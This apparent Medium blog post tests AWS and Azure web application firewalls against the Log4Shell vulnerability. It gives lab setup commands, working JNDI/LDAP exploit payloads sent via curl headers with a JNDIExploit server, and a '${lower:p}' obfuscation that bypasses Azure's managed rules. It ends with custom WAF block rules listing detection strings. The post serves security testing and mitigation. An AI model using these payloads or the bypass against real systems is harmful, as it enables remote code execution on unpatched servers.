Testing Cloud (AWS & Azure) WAF Capabilities Against log4shell(CVE-2021–44228)

What is log4j Vulnerability?

Log4j is a java based library developed by the Apache Software Foundation and is used for logging purposes by many software. For example, Druid, ELK, Minecraft, etc.

Payload : ${jndi:<protocol>://[attacker-ip-address:port-number]}

Affected Apache log4j Versions

Testing Log4Shell vulnerability

Testing & Bypassing AWS WAF

#Setup

#sudo su#apt update -y#sudo apt install containerd -y #apt install docker.io -y#service docker start#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • Run the command:
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
# will execute 'touch /tmp/pwned'#curl 35.163.175.93:8080 -H 'X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
https://www.horizon3.ai/cve-2021-44228/
  • Now in another tmux terminal check the file has been created in the tmp directory of the docker thus making it certain that a malicious LDAP request has triggered the RCE.

#Testing AWS WAF

docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app
#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
curl http://alb-waf-xxxxxxxxx.us-west-2.elb.amazonaws.com -H ‘X-Api-Version: ${jndi:ldap://35.163.175.93:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}’

#update

  • I got to know that all the common payloads tested and used were blocked. Then I tried testing all the available payloads on the internet.

Testing & Bypassing Azure WAF

#Setup

  • Run a virtual machine and install docker, similar to ec2 installation.
  • ssh into the server.
  • Run the commands to install the docker and vulnerable log4shell application.
#sudo su#apt update -y#sudo apt install containerd -y#apt install docker.io -y#service docker start#docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • In another terminal download JNDIExploit.v1.2.zip (virus total).
  • Run the command:
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
# will execute 'touch /tmp/pwned'#curl 40.71.71.203:8080 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Then the output of JNDI Exploit has sent a malicious LDAP response and served another payload with command.
  • Now in another tmux terminal check the file has been created in the tmp directory.

#Testing Azure WAF

  • The Azure WAF load balancer is having an IP address instead of a URL as in the case of AWS.
  • Here the Loadbalancer has been assigned the IP of
docker run --name vulnerable-app -p 80:8080 ghcr.io/christophetd/log4shell-vulnerable-app
  • Generate a new payload to validate Azure WAF bypass.
#echo ‘touch /tmp/waf-bypassed’ | base64
dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=
#java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <instance public IP (this will be malicious ldap server)> -p 8888
curl 40.121.244.146 -H 'X-Api-Version: ${jndi:ldap://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'
  • As we can see the request is blocked.
  • But instead of changing the complete payload let’s try to change the value of p in LDAP.
    ldap -> lda${lower:p}
curl 40.121.244.146 -H 'X-Api-Version: ${jndi:lda${lower:p}://40.71.71.203:1389/Basic/Command/Base64/dG91Y2ggdG1wL3dhZi1ieXBhc3NlZAo=}'

Thus this is proved that managed rules are unable to protect against these attacks and Azure WAF is currently unable to protect against log4shell zero-day attacks but Azure WAF is having some kind of protection mechanism. As there is limit to managed rules one can write, Azure WAF add basic check thus providing space to write more custom rules.

#update: I am really amazed that AWS started blocking most of the payloads for such a critical attack after the blog and I would like to thank AWS for helping the customers who are using AWS WAF.

Some of the common mitigations along with custom rules are mentioned below.

Mitigation

#AWS WAF Custom Rule

  • Create AWS custom rule based on string and regex.
  • We have created a string-based custom rule for AWS WAF to protect against log4shell.
If a request matches at least one of the statements (OR) 
Statement 1
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string jndi:
Text transformations None (Priority 0)
Statement 2
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string ${${
Text transformations None (Priority 0)
Statement 3
Field to match
Header (x-api-version)
Positional constraint
Contains string
Search string jndi:ldap
Text transformations None (Priority 0)
Then Action The action to take when a web request matches the rule statement.
Action Block

#Azure WAF Custom Rule

  • Create AWS custom rule based on string and regex.
  • We have created a string-based custom rule for AWS WAF to protect against log4shell.
Custom rule namePriorityConditionsIfMatch typeStringMatch variablesMatch variableRequestHeadersHeader nameOperation is is not Operator Contains Transformations 
UrlDecode
Lowercase
Select a transformation
Match values
jndi:
${${
jndi:dns

#Other application based mitigations

Bypass

Reference:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store